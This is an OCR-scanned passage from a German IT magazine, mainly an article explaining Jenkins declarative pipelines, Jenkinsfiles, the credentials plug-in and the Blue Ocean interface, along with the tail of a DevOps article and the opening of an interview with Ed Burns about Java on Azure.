Vision in die Organisation, kommunizieren klar, offen und inspirie-
rend, fordern heraus, unterstiitzen und erkennen personliche Leis-
tungen an.
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5.5 Tools und Ressourcen bereitstellen

Kritisch fur die Zufriedenheit im Berufsalltag ist fir viele, dass sie
ihre Arbeit gut erledigen. Fihrungskrdfte verstehen es, je nach Situ-
ation, das bereitzustellen, was bendtigt wird. Sei es der Kontext, die
Befahigung, etwas zu erledigen, neue Skills oder einfach nur Hard-
oder Software.

Fazit: DevOps ist die Leistung einer

kompletten Organisation

Erfolgreiche DevOps-Transformationen werden von der kompletten
Organisation gelebt. Sie werden durch eine starke Ubernahme von
\erantwortung in den Teams gekennzeichnet und von offenen Ret-
rospektiven begleitet. Damit wird es der Organisation ermdglicht, an
ihrer Transformation zu wachsen. Wenige KPIs ermdglichen trans-
parente Experimente, die Fehlschldge erlauben und Lernen férdern.
Also: Gehen wir es richtig an!
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Mit Jenkins in Richtung DevOps

Moritz Reinwald, MT AG

Jenkins ist der weltweit am meisten genutzte
Open-Source-Automatisierungsserver mit
unzdhligen Plug-ins fiir eine Vielzahl von Techno-
logien und Einsatzszenarien rund um Continuous
Integration und Continuous Delivery [1]. Dieser
Artikel stellt verschiedene Mdglichkeiten und
Werkzeuge vor, mit denen der Jenkins-Server dazu
genutzt werden kann, einen weiteren Schritt in
Richtung DevOps zu gehen.

Jenkins Build Jobs

Ist ein Jenkins-Server eingerichtet und aktiv, konnen Aufgaben in
sogenannten Jenkins Build Jobs definiert werden. Diese Jobs kdn-
nen einzeln tber die Oberflache konfiguriert und sowohl manuell als
auch automatisiert, zum Beispiel zeitgesteuert oder bei Anderungen
in der Versionsverwaltung, gestartet werden. Da die Jobs im Nor-
malfall nach Aufgaben getrennt sind, pro Job also nur eine Aufgabe
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ausgefiihrt wird, werden pro Projekt mehrere Jobs benétigt. Uber
die Zeit kann so aus wenigen Jobs relativ schnell eine groRe und
unubersichtliche Menge an Jobs heranwachsen, die sich nur schwer
und mit viel Zeitaufwand pflegen Idsst.

Soll nun eine Anderung in mehreren Jobs vorgenommen werden, wie
beispielsweise das \ersionierungssystem von Subversion auf Git
umzustellen, muss jeder Jenkins- Job einzeln abgeandert werden.
Da die Jobs von Jenkins intern als XML-Dateien gespeichert werden,
ist es durchaus moglich, die Anderungen dort vorzunehmen, aller-
dings ist dies sehr kompliziert und oftmals fehlerbehaftet, da dort
keinerlei Validierung der vorgenommenen Anderung stattfindet.
Damit stellt die Anderung der XML-Dateien keinen sinnvollen Weg
dar. Flr die Bearbeitung von mehreren Jobs gibt es zudem Plug-ins
aus der Jenkins-Community, die mehr oder weniger gut funktionie-
ren. Das generelle Ziel sollte hier allerdings nicht sein, Werkzeuge
zu finden, die einen bei der aufwendigen Anderungsmethode von
Jenkins-Jobs unterstiitzen, sondern eine Methode zum ausfindig
machen, die es ermoglicht, Jenkins-Jobs einfach zu erstellen und
spater auch zu pflegen.
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Ein weiterer Punkt, der gegen eine Vielzahl von Jenkins-Jobs
spricht, ist die Dezentralisierung. Verteilt sich ein Prozess auf
verschiedene Jobs, kdnnen diese zwar verkettet und somit auto-
matisch hintereinander aufgerufen werden, allerdings kann dies
auch Risiken mit sich bringen. Ein Nutzer kann eine Verkettung
nicht direkt sehen, da er dazu in die Konfiguration der einzelnen
Jobs schauen musste. Fiihrt dieser Nutzer zum falschen Zeitpunkt
unwissentlich eine ganze Reihe von Jobs anstelle eines einzelnen
Jobs aus, kann es schnell zu Problemen kommen. Zudem ist es
schwierig, ein Reporting Uiber mehrere Jobs zu realisieren, um den
Fortschritt und die jeweiligen Ergebnisse aller Jobs auf einen Blick
sehen zu kdnnen. Hier liegen die einzelnen Informationen alle ver-
teilt in jedem einzelnen Jenkins-Job.

Jenkins stammt urspriinglich aus einer Zeit, in der Programme
ausschlieBlich tber die Benutzeroberflache gesteuert wurden.
Damals boten viele Programme keinerlei Optionen, erstellte
Neuerungen als Code zu speichern, um diesen dann zu versionie-
ren. Auch die Jenkins Build Jobs verlassen sich daher zu sehr auf
die Benutzeroberflache, d.h. sie sind dazu designt, tiber die Ober-
flache erstellt zu werden. Damit Jenkins Build Jobs versioniert
werden konnen, missen viele verschiedene XML-Dateien in das
\ersionierungssystem eingespielt werden. Zusatzlich zur Versio-
nierung spielt hier auch die Dokumentation eine Rolle. Da die Jen-
kins Build Jobs Gber eine Oberflache erstellt werden, lassen sich
alle Anderungen und Konfigurationen nicht einfach dokumen-
tieren, sondern es miissen alle in der Ul vorgenommenen Ande-
rungen detailgetreu aufgeschrieben oder Screenshots angefligt
werden. Hier zeigt sich auch das Problem der Reproduzierbarkeit.
Wird ein kleines Detail vergessen, kann es vorkommen, dass zwei
fast identische Jenkins Build Jobs komplett unterschiedliche Er-
gebnisse erzielen.

Zusammengefasst haben Jenkins Build Jobs mit umfangreicheren
Projekten einige Probleme, sei es die reine Anzahl der einzelnen
Jobs, die Unibersichtlichkeit und Dezentralisierung von Informa-
tionen, ungewollte Risiken oder die nicht triviale Versionierungs-
moglichkeit. Eben diese Hurden gilt es zu Uberwinden, um weiter
in Richtung DevOps zu gehen, und genau daftr gibt es seit Friihjahr
2016 eine offizielle Losung mit Continuous Delivery Pipelines vom
Jenkins-Entwicklerteam rund um Kohsuke Kawaguchi.

DevOps und CI/CD

Vielleicht gehen wir vorher aber nochmal einen Schritt zurtick, um
das grolRe Ganze zu betrachten und zu verstehen. Wo soll es tiber-
haupt hingehen? Was ist DevOps? Und wie helfen Continuous Deli-
very Pipelines dabei, mehr in Richtung DevOps zu kommen?

Ganz grob gesagt ist DevOps die Kombination aus Development und
Operations. Wird versucht, DevOps genauer zu definieren, kdnn-
te es in etwa folgendermal3en klingen: ,DevOps bezeichnet eine
Reihe von Praktiken zur Automatisierung der Prozesse zwischen
Softwareentwicklern und IT-Teams, durch die Software schneller
und zuverldssiger entwickelt, getestet, freigegeben /3] betrieben
und gewartet werden kann”. Eine genaue Definition ist allerdings
schwierig, da DevOps kein konkretes Werkzeug beziehungsweise
keine konkrete Methode, sondern eher eine Unternehmenskultur
ist. Zusammengefasst kann gesagt werden: DevOps vereint alle
notwendigen Schritte, sowohl die des Entwicklungszyklus:
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Abbildung 1: Der DevOps-Zyklus (Quelle siehe [2])

= planen
= entwickeln (Code schreiben)
= bauen
= testen

Als auch die des Betriebszyklus:

= fertiges Release erstellen

= in der Kundenumgebung einspielen
= betreiben

= (berwachen

Aus diesen beiden, ohne DevOps getrennten, Kreisldufen bildet sich
somit ein einzelner Zyklus, der, solange das Produkt lebt, unendlich
weiterlauft (siehe Abbildung 1)

Continuous Delivery ist, wie auch DevOps, eines der Schlagworte,
die Uberall genannt werden, aber oftmals gar nicht richtig interpre-
tiert werden konnen. Was ist zum Beispiel der Unterschied zwi-
schen Continuous Integration, Continuous Delivery und Continuous
Deployment? Und wie passt DevOps dazu? Die Unterschiede zeigen
sich deutlich, wenn die einzelnen Schritte des Software-Lebenszyk-
lus betrachtet werden (siehe Abbildung 2).

Nun ist auch ersichtlich, dass Continuous Delivery kein Synonym von
Continuous Deployment ist, auch wenn beide haufig mit CD abge-
kirzt werden. Ein Release in eine Staging-Area, also Testumgebung,
einzuspielen und danach manuell auszuliefern oder ein Release di-
rekt in das Produktivsystem des Kunden einzuspielen, ist ein groRRer
Unterschied.

Jenkins Pipelines

Nachdem nun definiert ist, wohin es gehen soll, miissen jetzt noch
die technischen Mittel gefunden werden, um diesen Weg zu ge-
hen. Seit 2016 gibt es vom offiziellen Jenkins-Entwicklerteam das
Pipeline-Plug-in /4] oder besser die Pipeline Plug-in Suite, da das
Pipeline-Feature auf mehrere Plug-ins aufgeteilt ist. Diese Plug-ins
erweitern den Jenkins-Server um die Funktionalitat, Pipelines aus-
zufiihren. Pipelines sind Automatisierungsketten, die im Falle einer
Continuous Delivery Pipeline beispielsweise alle Schritte zum Re-
lease einer Software abarbeiten. Nach einer einfachen Installation
der Plug-ins auf dem Jenkins-Server kann bereits mit den Pipelines
gearbeitet werden, in den meisten Fallen sogar ohne einen Neustart.
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Abbildung 2: Abdeckung des Software-Lebenszyklus durch Continuous Integration. Continuous Delivery. Continuous Deployment und DevOps

(Quelle: Moritz Reinwald)

Im Gegensatz zu den Build Jobs wird bei einem Pipeline-Job die ge-
samte Logik in einem Skript, dem sogenannten Jenkinsfile, hinterlegt.
Dieser Jenkinsfile sollte auch in das Versionierungssystem eingepflegt
werden. Aktuell gibt es zwei Versionen von Jenkins Pipelines. Die ers-
te, initiale Variante heil3t Scripted Pipeline. Hierbei wird der Jenkinsfile,
auf dem die Pipeline aufbaut, noch groBtenteils in Groowy, einer auf
der Java-Plattform basierenden Programmier- und Skriptsprache,
geschrieben. Zusatzlich gibt es die zweite und neuere Moglichkeit,
die Pipelines deklarativ zu erstellen. Die sogenannten Declarative
Pipelines basieren auf einer DSL, Domain-Specific-Language, die auf
Groovy aufbaut. Wird eine Pipeline geschrieben, sollte der deklarative
Ansatz gewahlt werden, da die Scripted Pipeline in die deklarative Va-
riante miteingebunden werden kann und somit obsolet ist.

Da der Jenkins-Server die Pipelines als weiteren Job-Typ definiert,
konnen Pipelines auf die gleiche Weise wie die normalen Build Jobs
angelegt werden. Nach einem Klick auf die Schaltflache ,Element
anlegen” kann nun als Job-Typ ,Pipeline Job” ausgewahlt werden
(siehe Abbildung 3). Die Oberflache zur Konfiguration eines Pipe-
line-Jobs sieht hierbei ahnlich aus wie die der Build Jobs. Hier soll-
te allerdings nicht der Fehler gemacht werden, dass zu viel in der
Oberflache konfiguriert wird. Diese Konfigurationsoptionen stehen
ebenfalls im Jenkinsfile zur Verfligung. Wenn mehrere Pipelines auf
einem Jenkinsfile aufbauen, muss hier nicht jeder Pipeline-job ein-
zeln konfiguriert werden, sondern jeder Job zieht sich die notwen-
dige Konfiguration aus dem Jenkinsfile. Einzig die Verbindung zum
bevorzugten Versionierungssystem muss in jedem Pipeline-job in
der Oberflache gesetzt werden.

Da ein Jenkinsfile genutzt wird, findet sich im Pipeline-Job selbst
keinerlei Konfiguration wieder. Theoretisch besteht auch die Mog-
lichkeit, die Konfiguration direkt in der Oberflache des Pipeline-Jobs
zu erstellen und die Pipeline nicht in einen Jenkinsfile zu schreiben.
Dies widerspricht allerdings der Idee der Jenkins Pipelines, da diese
Pipeline-Jobs dann genau wie normale Build Jobs konfiguriert sind
und alle Vorteile verloren gehen. Daher sollte ganz unten in der Kon-
figuration unbedingt die Option, den Jenkinsfile aus der Versionie-
rung zu laden, gewahlt werden (siehe Abbildung 4). Hier stehen alle
unterstiitzten Versionierungssysteme von Jenkins zur Verfligung.
Neben Git lassen sich weitere Systeme wie etwa Subversion und
BitBucket tiber Plug-ins installieren.
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Jenkinsfile

Der Jenkinsfile einer Declarative Pipeline besteht hauptsachlich aus
Sektionen und Direktiven. Der Anfang jeder Pipeline ist der pipeline-
Block. Alles, was in der Pipeline passiert, muss innerhalb dieses
Blockes stehen. Sind selbst geschriebene Groovy-Funktionen vor-
handen, kdnnen diese auch auRerhalb des Blockes definiert werden.
Sinnvoller ist es in diesem Fall aber, eine sogenannte Shared Libra-
ry /5] zu nutzen. Dies ist ein Feature, iber das die Standard-DSL-
Sprache um eigene Funktionen erweitert werden kann. Die grobe
Struktur innerhalb des pipeline-Blockes ist durch sogenannte sta-
ges definiert. In jeder stage konnen verschiedene Befehle innerhalb
einer steps-Sektion ausgefiihrt werden. Zudem kann in jeder stage
eine post-Sektion eingefligt werden. In dieser kdnnen verschiede-
ne Befehle aufgrund des Ergebnisses der steps-Sektion ausgefiihrt
werden. Diese post-Sektion kann ebenfalls am Ende der gesamten
stages-Sektion definiert werden.

Als Erstes innerhalb des pipeline-Blockes muss mithilfe der agent-
Sektion ein Exekutor, auf dem die Pipeline oder einzelne Stages aus-

€ Jenkins Geben Sie einen Element-Namen an
Jenkins  + e " z
Beispiel Pipeline
a Benutzer
== Build-Verlauf /4 “Free Style"-Softwareprojekt bauen
ﬁ\ Jenkins verwalten @ Dieses Profil ist das meistgenutzte in Jenkins. Jen

. von Software beschrankt, sondern kann dartber hi
a Meine Ansichten

‘Q. Zugangsdaten /. Pipeline
| ‘Jl
% Lockable Resources \\_,/ Orchestrates long-running activities that can spa
style job type.
B Ansicht anlegen

Build-Warteschlange \ Dieses Profil eignet sich sehr gut far Projekte mit z

/=i Multikenfigurationsprojekt bauen
| /.

Keine Builds geplant .
. Folder
|

' Creates a container that stores nested items in it. |
same name as long as they are in different folders

ﬁ GitHub Organization
o e TR SR DO S ST -

Abbildung 3: Erstellung einer neuen Jenkins Pipeline
(Quelle: Moritz Reinwald)
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General Build Triggers Advanced Project Options Pipeline

[Nur Text] Vorschau
7 Alte Builds verwerfen @
| Dieser Build ist parametrisiert. ®
-/ Do not allow concurrent builds

[ Do not allow the pipeline to resume if the master restarts

[} GitHub-Projekt
| Pipeline speed/durability override 2]
L2l Preserve stashes from completed builds @
[ Throttle builds (2]
Build Triggers
|l Starte Build, nachdem andere Projekte gebaut wurden @
2! Builds zeitgesteuert starten @
) GitHub hook trigger for GITScm polling (2]
I Source Code Management System abfragen (2]
| Projekt deaktivieren [2]
| Ruheperiode @
~| Builds von auBerhalb starten (z.B. skriptgesteuert) (7]
Advanced Project Options
Display Name (7]
Pipeline
Definition Pipeline script from SCM =
—=—---——— - - — - - - == = — - = = =
soM Keines s
Git
Script Path Subversion | .
Lightweight checkout 1« @
Pipeline Syntax
Speichem ‘ Ubernehmen |

Abbildung 4: Beim Konfigurieren einer Jenkins Pipeline die Option ,Pipeline script from SCM" wahlen (Quelle: Moritz Reinwald)

Name Bendtigt Verwendbar in Beschreibung

pipeline Ja (1x) Der Hauptblock

agent Ja pipeline, stage Exekutor fiir Pipeline oder jede Stage

stages Ja pipeline (1x) Hauptsektion fiir einzelne Stufen

stage Jamind. 1x stages Direktive fiir eine Stufe (Name muss angegeben werden)
steps Ja stage Sektion fir die einzelnen Befehle

post

environment
options

parameters

triggers

parallel

script
when

catchError

pipeline, stage

Aktionen, je nach Ergebnis der Stage/Pipeline ausfiihren

pipeline, stage

Definiert Umgebungsvariablen

Nein

pipeline (1x),
stage (eingeschrdnkt)

Definiert Build-Optionen fiir die Pipeline (flr eine Stage lassen sich nur
bestimmte Optionen aktivieren)

Nein pipeline (1x) Definiert Parameter, die der User mitgeben soll

Nein pipeline (1x) Definiert automatisierte Starts der Pipeline

Nein stage Flhrt mehrere Stages innerhalb einer Stage parallel aus
Nein steps Flhrt Code einer Scripted Pipeline oder Groovy Code aus
Nein stage Bedingte Ausflihrung der Stage

Nein steps Fangt einen Fehler ab (dhnlich zu try/catch)

Tabelle 1: Auflistung einiger Sektionen und Direktiven
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& Jenkins

Jenkins Beispiel Pipeline

4 Backto Dashboard
J, Status

> Changes

&) Jetzt bauen

@ Pipeline laschen
e

% Konfigurieren

Ty
—#! Recent Changes
S

L Full Stage View _
» Stage View

Pipeline Beispiel Pipeline

> Rename

© Pipeiine Syntax

No data available. This Pipeline has not yet run.

Sample Step git: Git

Repository URL

Branch e

4 Back Credentials
‘3‘/" Snippet Generator

@ Declarative Directive Generator
:0 Declarative Online Documentation
:0 Global Variables Reference
6 Online Documentation

O Examples Reference

B IntelliJ IDEA GDSL

Global Variables

Stest_repo

test™***** (Test Credentials) v

o= Add ~

¥ Include in polling?

¥ Include in changelog?

git branch: 'dev’, credentialsld: ‘test_credentials’, url: ‘Stest_repo’

There are many features of the Pipeline that are not steps. These are often exposed via global variables, which are not supported by the snippet
generator. See the Global Variables Reference for details

Abbildung 5: In Jenkins integrierter Snippet & Directive Generator (Quelle: Moritz Reinwald)

gefuihrt werden, gewahlt werden. Hier bietet Jenkins verschiedene
Méglichkeiten. Mit agent any bestimmt Jenkins den Exekutor, mit
agent none wird global kein agent festgelegt, dieser muss dann in-
nerhalb der jeweiligen stages definiert werden. Soll ein bestimmter
agent gewahlt werden, kann dies lber ein label geschehen (siehe
Listing 7). Weitere Mdéglichkeiten sind in der Jenkins-Pipeline-Doku-
mentation beschrieben /6.

Nachdem der Exekutor definiert wurde, kénnen nun durch weitere
Direktiven, noch vor den Stages, einige Optionen, Parameter, Trig-
ger und Umgebungsvariablen gesetzt werden. Nachfolgend sind
alle haufig genutzten Sektionen und Direktiven aufgelistet, ausfihr-
lichere Informationen zu diesen und weiteren Befehlen finden sich
ebenfalls in der Dokumentation der Jenkins Pipelines /6.

Um die Pipeline nun mit Funktionalitdt zu versehen, missen die ge-
winschten Befehle in die steps-Sektion geschrieben werden. Hier-
fuir empfiehlt es sich, den durch die Pipeline-Plug-ins in den Jenkins
integrierten Pipeline Snippet Generator zu nutzen. Dieser findet
sich innerhalb eines Pipeline-Projektes im Men( auf der linken Bild-
schirmseite. Hier sind alle verfiigbaren Befehle fir eine Pipeline ent-
halten und kénnen mithilfe der Oberflache konfiguriert werden (sie-
he Abbildung 5). Als Ergebnis liefert der Generator ein Snippet, das
nahtlos in die Pipeline integriert werden kann. Fir Plug-ins, die Jen-
kins Pipelines unterstiitzen, sind die Befehle ebenfalls im Snippet
Generator verfligbar. Zusatzlich ist auch ein Direktiven-Generator
fur Declarative Pipelines und viele Referenzen, beispielsweise fir
einzelne Steps oder globale Variablen, vorhanden.

b4

Pipeline {
agent {
Tabel: “linux’
}

stages {

}

Listing 1: Einen bestimmten Agenten tber ein Label selektieren

Zudem gibt es die Moglichkeit, den Jenkinsfile validieren zu lassen,
bevor die Pipeline ausgefiihrt wird, indem der Jenkins Pipeline Linter
genutzt wird. Dieser wird auf dem Jenkins-Server ausgefiihrt und
der Jenkinsfile per HTTP-Post-Request ibertragen. Je nach Konfi-
guration miissen hier noch Vorkehrungen getroffen werden, damit
der Jenkins-Server die Anfrage erfolgreich erhalt. Mehr dazu befin-
det sich in der Dokumentation /7].

Besonderheiten und Best Practices

Missen innerhalb der Pipeline, also dem Jenkinsfile, Passworter
genutzt werden, sollte unbedingt das Jenkins Credentials Plug-in
[8] genutzt werden, das normalerweise standardmaRig mit dem
Jenkins installiert wird. Wie bei den Build Jobs ermoglicht das
Plug-in auch in den Pipelines die Nutzung von IDs, um im Jenkins
hinterlegte Benutzerdaten zur Laufzeit abzurufen (siehe Listing 2).
Somit stehen keine Benutzerdaten im Klartext in Skripten oder im
Jenkinsfile.
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withCredentials([usernamePassword(

credentialsId: 'test_credentials'

passwordVariable: 'test_password',

usernameVariable: 'test_user')]) {
bat '''cd Projektordner

connect_db %apex-connection% %test_user% Z%test_password’

@scripts\\myScript.sql"'""’

Listing 2: Aufruf des Credentials-Plug-ins aus dem Jenkinsfile

Sollen Informationen des aktuellen Builds des Pipeline-Jobs abge-
rufen werden, kann dies mithilfe der Eigenschaft currentBuild be-
werkstelligt werden. Diese enthalt Informationen tber die ID bzw.
Nummer, den Display-Namen, die Beschreibung und das aktuelle
Ergebnis, auch zur Laufzeit. Damit ist es maglich, das Ergebnis ei-
nes Build-Schrittes oder auch der gesamten Pipeline zu priifen und
manuell das Ergebnis zu setzen, sollte der Jenkins-Server dies ein-
mal nicht automatisch richtig erkennen. Ist das Ergebnis allerdings
fehlerhaft (FAILURE), lasst es sich nur noch auf ,instabil” (UNSTABLE)

und nicht mehr auf ,erfolgreich” (SUCCESS) andern

Bricht ein Benutzer die Pipelineausfiihrung ab, gibt es noch den Sta—
tus ABORTED. Hier sollte also moglichst vor dem Setzen des Ergeb-
nisses gepriift werden.

Soll ein Pipeline-Job nicht im Standard Jenkins Workspace laufen,
kann ein sogenannter Custom Workspace angegeben werden

. Hier sollte darauf geachtet werden, dass der Jenkinsfile
zuerst aus der Versionierung ausgecheckt und dann erst ausgefihrt

Jenkins Beispiel Pipeline #1

# Back to Project

O, status @ Konsolenausgabe

~= Changes

Started by user moritz

B console Output

| View as plain fext
== Edit Build Information
(Y Delete build #1’

@ Restart from Stage

Running in Durability level: MAX SURVIVABILITY

Test
: ¢
Replay Post stagc

Pipeline Steps

B Workspaces

Finished: SUCCESS

Frfolg'

Replay #1

Allows you to replay a Pipeline build with a modified script. If any load steps were run, you can also modify the scripts they loaded

Main Script 1~ pipeline {

2 agent any

3~ stoges {

4+ stage ('Test') {

5+ steps {

6 echo "Test”

7 T

8~ post {

9~ always {

12 echo "Erfolg!”
11 1

12 T

13 1

14 1
a5

Pipeline Syntax

Abbildung 6: Replay-Funktion in der Oberfldache eines Builds (Quelle: Moritz Reinwald)
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wird. Da der Custom Workspace allerdings erst im Jenkinsfile defi-
niert wird, wird der Jenkinsfile selbst immer in den Standard Work-
space ausgecheckt. Hier sollte wirklich nur der Jenkinsfile und nicht
etwa das ganze Repository ausgecheckt werden, um Duplikate zu
verhindern und nicht unnotig Speicherplatz zu verschwenden.

Funktioniert eine Pipeline nicht wie gewlnscht, gibt es in der Ober-
flache des Pipeline-Jobs eine Replay-Funktion. Mit dieser ist es
moglich, den Jenkinsfile temporar in der Oberflache zu andern, um
dann einen erneuten Durchlauf zu starten . Der
Jenkinsfile im Hintergrund bleibt dabei unberihrt. Somit ist es einfa-
cher, einen Fehler innerhalb des Jenkinsfiles zu finden, ohne diesen
jedes Mal committen zu missen.

Oberflache

Wurde ein Pipeline-Job angelegt und mindestens einmal ausgefiihrt,
erscheint in der Oberfliche eine Ubersicht (iber die Ausfiihrungs-
dauer sowie das Ergebnis der einzelnen Stages. Zudem lassen sich
die Logs der jeweiligen Stages mit einem Klick auf die Stage abrufen.
Ist die Pipeline erfolgreich durchgelaufen, erscheinen alle Stages
grin. Gab es einen Fehler in einer Stage, sind diese und alle nachfol-
genden, nicht ausgefiihrten Stages dunkelrot eingefarbt. In diesem
Fall farben sich auch die zuvor erfolgreich durchgelaufenen Stages
hellrot. Oben in der Ubersicht stehen die zuvor vergebenen Namen
der Stages und eine Anzeige dazu, wie lange die Ausfiihrungsdauer
dieser Stage durchschnittlich war. Auf der linken Seite werden die
verschiedenen Builds, also Ausfiihrungen, mit der jeweiligen Build-
Nummer, dem Start-Datum und der Anzahl an Commits in die Versi-
onierung seit der letzten Ausflihrung aufgelistet

Neben der Standardoberflache gibt es per Plug-in /9/auch noch die
extra komplett neu entwickelte Oberflache namens Blue Ocean. Sie
soll die User Experience von Jenkins deutlich steigern, indem sie fol-
gende Hauptmerkmale mit sich bringt

8 Jenkins

if (result == "UNSTABLE") {
currentBuild.result = "SUCCESS"

pipeline {
agent {
label {
label ""
customWorkspace "path/to/workspace"

en eines Custom Workspace innert

= Unterstiitzung von anspruchsvollen Visualisierungen von Conti-
nuous Delivery Pipelines

= Intuitives Erstellen von Pipelines in einem visuellen Prozess
durch den Pipeline Editor

= Anpassungen an die rollenbasierten Anforderungen jedes Team-
mitglieds

= Prazision bei der Lokalisierung von Problemen innerhalb einer
Pipeline

= Native Integration von Branches und Pull Requests fiir GitHub
und BitBucket

Wird Blue Ocean genutzt, kann auf einen Blick gesehen werden,
wo die Pipeline fehlerhaft war und welche Stages eventuell trotz-
dem danach noch ausgefiihrt wurden. Zudem sieht die Oberflache
deutlich ,frischer” aus und ist von Grund auf fir Pipelines entwickelt
worden

@  moritz | Abmeklen

Jenkins Beispief Pipeline

# Back to Dashboard
O} status
> Changes

@ Jetzt bauen
AL,

@ Pipeline loschen =2 Recent Changes

%?‘ Konfigurieren —

L Full Stage View :
- Stage View

;‘ Rename

€ Pipeline Syntax

@ Build-Verlauf

suchen
on 21.05.2019 14:22 2

en 21052019 1420

2] RSS aller Builds [} RSS der Fehlschlage
R R

21Tms ‘ HMims

AUTO-AKTUALISIERUNG EINSCHALTEN

Pipeline Beispiel Pipeline

[¥Beschreibung hinzufiigen

Projekt deaktivieren

DEV - [ i TEST - TEST -

TEST -

Prepare Datapump Success Delete Old Datapump .
Export DB Objects Import P PP

170ms 230ms [ 11dms 134ms T5ms

o - - -
|
204ms TTms 55ms

’ 115ms

failed failed| failed| failed failed

%
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X Beispiel Pipeline 1 > Pipeline

Branch: — @ 9s
Commit: — ® 19 minutes ago

DEV - Datapump
Start Prepare Export

\O

Keine Anderungen

Gestartet durch Benuizer moritz

TEST - Delete Old TEST - Datapump  TEST - Import

DEV-- Export App DB Objects Import App End

Anderungen Tests Artefakte )

* 5 ‘ Auslc-ggen. >

@) @)

O/—o

DEV - Datapump Export - <1s

- —Windows Batch Script <1s

" Beispiel Pipeline < 2 Pipeline

Branch: —
Commit: — (© 18 minutes ago

DEV - Datapump
Start Prepare Export

Keine Anderungen

Gestartet durch Benutzer moritz

TEST - Delete Old TEST - Datapump TEST - Import
DEV - Export App

@ Restart DEV - Datapump Export Z ¥

Anderungen Tests Artefakie :)

# E |Ausloggen 3

TEST - Import App - <1s

B ¥ s TEST = Import App STARTED-————=— — Print Message
B > -——------====TEST ~ Import App FINISHED-===-+r====r==rr==>= — Print Message

DB Objects Import Al End
G——a—— e

@ Restart TEST - Import App [ #

<1s

<1s

Abbildung 8: Blue-Ocean-Oberfléche fur einen Fehlschlag und Erfolg des gleichen Jobs (Quelle: Moritz Reinwald)

Fazit

Jenkins bietet mit den Pipeline Plug-ins und der Blue-Ocean-Ober-
flache eine gute Basis fiir Continuous Delivery Pipelines. Nach ei-
ner kurzen Eingewohnung an den Aufbau des Jenkinsfiles geht die
Erstellung von Pipelines, durch den deklarativen Ansatz, einfach
von der Hand. Sollte die DSL einmal nicht ausreichen, existiert noch
immer die Moglichkeit, eigene Groovy-Funktionen zu schreiben und
einzubauen. Mit Blue Ocean bietet Jenkins auch an der Oberflache
viele Funktionen und eine gute Ubersicht, somit lassen sich Pipe-
lines gut verwalten und Probleme leichter beheben.

Quellen und weitere Informationen

[1] Jenkins Homepage: https:/jenkins.io/

[2] DevOps-Zyklus: https:/medium.com/@neonrocket/devops-is-a-
culture-not-a-role-be 1bed 149b0

[3] Atlassian Definition DevOps: hitps:/de.atlassian.com/devops

[4] Jenkins Pipeline Plug-in: https:/wikijenkins.io/display/|ENKINS/
Pipeline+Plugin

[5]  Jenkins Pipeline Shared Libraries: https:/jenkins.io/doc/book/
pipeline/shared-libraries/

[6] Jenkins Pipeline Syntax: https:/jenkins.io/doc/book/pipeline/
syntax/

[7] Jenkins Pipeline Linter: https:/jenkins.io/doc/book/pipeline/
development/#linter

[8] Jenkins Credentials Plug-in: https:/plugins.jenkins.io/credentials
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[S]  Jenkins Blue Ocean Plug-in: https:/plugins.jenkins.io/blueocean
[10] Blue-Ocean-Dokumentation: https:/jenkins.io/doc/book/
blueocean/
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"Spaltungen in der kunden-
orientierten Software-Industrie
sind kontraproduktiv"

Der Name Ed Burns ist dem GrofSteil der Java-Community durchaus bekannt. Bevor Ed im Juni 2019 zu seinem
neuen Arbeitgeber Microsoft wechselte, war er viele Jahre beim Oracle Technical Staff tdtig. Ob als Co-Spec
Lead von JavaServer Faces, Buchautor oder als Speaker auf zahlreichen Konferenzen: Ein Hauptaugenmerk
seiner Arbeit war stets Java. Im Interview mit Christian Luda, DOAG Dienstleistungen GmbH, berichtet Ed, wie
sich seine tdgliche Arbeit seit seinem Wechsel verdindert hat und erinnert sich zuriick an die Zeit der Framework-
Kriege. Weiterhin berichtet er, was fiir Vorteile die Microsoft Azure Cloud Java-Usern bietet und was diese in
Zukunft von seinem Team erwarten dlirfen.

Y
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Du bist derzeit Principal Architect fiir Java Tooling und Experiences des
Azure-Teams bei Microsoft. Kannst du uns einen kleinen Einblick in dei-
ne derzeitige Arbeit gewdhren?

Ed Burns: Selbstverstandlich! Gegenwartig arbeite ich mit mei-
nen alten Kollegen von Oracle daran, WebLogic-Server so einfach
wie moglich auf Azure zu bringen. Der beste Weg dafir ist tber
eine Sammlung von ARM-Vorlagen. ARM steht fiir ,Azure Resour-
ce Manager” und ist die zentrale Management-Ebene fiir Azure.
Eine ARM-Vorlage ist eine unhandliche und oftmals groRe JSON-
Datei. Als Mitglied des Developer-Experience-Teams maochte ich
dazu beitragen, die Entwicklererfahrung zu vereinfachen. Denn
die Erstellung von ARM-Vorlagen ist eine ziemliche Herausforde-
rung. Wir haben Tooling-Unterstitzung in Form von Erweiterun-
gen fir Visual Studio Code und Visual Studio, was die Erstellung
etwas vereinfacht. Es gibt eine kleine Sammlung von Funktionen
innerhalb der ARM-Vorlagen namens TLE (Template Language
Expressions), lber die sich einige Punkte anpassen lassen, aber
insgesamt ist das Schreiben von ARM-Vorlagen, als wiirde man in
Bezug auf die von Azure angebotenen Ressourcen sagen: ,So sol-
len meine Azure-Server aussehen.” Wir sprechen also tiber VMs,
Netzwerke, Verbindungen zwischen den Lastverteilern, Datenban-
ken und so weiter.

Ich arbeite derzeit mit Jacob Thomas und seinem Team von Oracle,
das wirklich einige hervorragende ARM-Vorlagen erstellt hat. Ich
habe sie beraten und ihnen Hinweise gegeben, um eine Vielzahl
an WebLogic-Serverkonfigurationen von einfacher VM mit Admin
bis zum dynamischen Cluster und mehreren Stufen dazwischen zu
ermoglichen. Das alles ist sehr spannend, weil Microsoft im Java-
Bereich eine Zeit lang tiberhaupt nicht vertreten war. Wenn wir mit
diesen Schritten fertig sind, werden wir uns darauf konzentrieren,
WebSphere und Red Hat EAP auf die gleiche Weise auf Azure zu
bringen. Meine Kollegin Theresa Nguyen arbeitet sehr eng mit Red
Hat zusammen, um mehrere Services fir Azure zu bauen. Sie haben
eine Jakarta EE Paa$S (Platform as a Service), die im Wesentlichen
eine PaaS fir WildFly bereitstellt, eine Open-Source-Laufzeitum-
gebung, die vollstandig mit Jakarta EE 8 kompatibel ist. AuRerdem
arbeitet Nguyens Team an Azure Red Hat OpenShift. OpenShift ist in
erster Linie eine Kubernetes-Implementierung; es lassen sich Java
und MicroProfile und sogar Jakarta-EE-Workloads darauf verwen-
den, aber es bietet dariiber hinaus noch ein viel breiteres Spektrum.
Es passiert also derzeit sehr viel im Java-Bereich bei Microsoft, ich
selbst arbeite jedoch im Moment an WebLogic und WebSphere.

